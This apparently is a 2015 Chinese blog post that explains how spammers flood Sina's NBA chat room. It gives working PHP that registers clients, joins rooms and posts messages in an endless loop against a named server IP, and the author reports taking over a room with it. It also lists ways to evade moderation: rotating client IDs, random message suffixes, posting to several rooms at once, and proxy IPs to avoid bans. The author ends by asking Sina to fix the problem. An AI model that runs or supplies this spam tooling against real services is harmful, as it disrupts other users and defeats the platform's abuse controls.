在新浪NBA聊天室刷广告是怎么实现的2015.05.14 12:51
新浪NBA聊天室,对于看不了视频直播的童鞋,一直是一个看球聊球的好地方,但是最近聊天室里出现大批的刷广告行为。
例如今天的一场球赛:奇才vs老鹰
进入聊天室,就会发现遍地的广告,并且账号每次都会更换,根本无法正常的聊天。
抓了几个包,了解了正常发一条聊天信息的流程
1.注册clientId
2.使用注册的clientId加入某房间(例如:房间19)
3.发送消息
4.如果要切换房间,则先退出当前房间,再到流程2
注意:每个聊天室的服务器IP、端口不一定相同,不同聊天室的房间编码没有统一规律,这些都需要抓包获取到。
模拟发布消息[以上边聊天室为例]
服务器IP:58.63.237.91:8080
房间19编码:/im/3694301_19
1.注册clientId
参数:channel:/meta/handshake
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | $domain = '58.63.237.91:8080' ; $room = '/im/3694301_19' ; function getClient() { global $domain ; $url = $domain . '/im?message=[{"version":"1.0","minimumVersion":"0.9","channel":"/meta/handshake","supportedConnectionTypes":{"0":"callback-polling"},"id":1}]&jsonp=parent.org.cometd.script._callback1' ; $string = trim(getData( $url )); $string = trim(trim( $string , 'parent.org.cometd.script._callback1(' ), ')' ); $data = json_decode( $string ); return isset( $data [0]->clientId) ? $data [0]->clientId : false; } function getData( $url ){ $ch = curl_init(); curl_setopt ( $ch , CURLOPT_URL, $url ); curl_setopt ( $ch , CURLOPT_USERAGENT, '' ); curl_setopt ( $ch , CURLOPT_HEADER, 0); curl_setopt ( $ch , CURLOPT_RETURNTRANSFER, 1); curl_setopt ( $ch , CURLOPT_FOLLOWLOCATION, 1); curl_setopt ( $ch , CURLOPT_TIMEOUT, 10); $result = curl_exec ( $ch ); curl_close( $ch ); return $result ; } |
2.加入房间19
参数:channel:/meta/subscribe
1 2 3 4 5 6 7 8 9 10 11 12 13 | /** * @param string $room 房间编码 * @param string $clientId getClient()获取的clientId */ function joinRoom( $room , $clientId ) { global $domain ; $message = '[{"channel":"/meta/subscribe","subscription":"' . $room . '","id":1,"clientId":"' . $clientId . '"}]' ; $url = $domain . '/im?message=' . urlencode( $message ) . '&jsonp=parent.org.cometd.script._callback1' ; $string = trim(getData( $url )); $string = trim(trim( $string , 'parent.org.cometd.script._callback1(' ), ')' ); $data = json_decode( $string ); return isset( $data [0]->successful) ? $data [0]->successful : false; } |
3.发送消息
参数:channel:/im/req
1 2 3 4 5 6 7 8 9 | function msgPost( $msg , $clientId ) { global $domain ; $message = '[{"channel":"/im/req","data":{"cmd":"msg","msg":"' . $msg . '{0}"},"id":1,"clientId":"' . $clientId . '"}]' ; $url = $domain . '/im?message=' . urlencode( $message ) . '&jsonp=parent.org.cometd.script._callback1' ; $string = trim(getData( $url )); $string = trim(trim( $string , 'parent.org.cometd.script._callback1(' ), ')' ); $data = json_decode( $string ); return isset( $data [0]->successful) ? $data [0]->successful : false; } |
现在实验看看结果
为了便于观察加上循环和频率限制
1 2 3 4 5 6 7 8 9 10 11 12 13 | $msg = '淹没广告狗' ; while (true) { if (! $clientId = getClient()) { continue ; } if (!joinRoom( $room , $clientId )) { continue ; } msgPost( $msg , $clientId ) sleep(2); } |
可以看到,聊天室已被成功占领。
还可以进一步优化
例如:一个clinetId可使用多次,节省每次注册clientId和加入房间的时间,但要定时更换,防止被屏蔽
评论内容加随机后缀,例如n个空格,防止同一内容被屏蔽
clientId不用之后,注销掉,防止下一个clientId加入房间失败
获取多个房间列表,同时发送
使用多IP或代理IP,防止IP被屏蔽
....
以暴制暴不是解决问题的方式,还是希望新浪能够着重治理一下,还球迷一个正常的聊球环境。
相关文章
<< 上一篇 protobuf初体验 青春社区上线啦 下一篇 >>
- 正在加载用户留言,请稍后~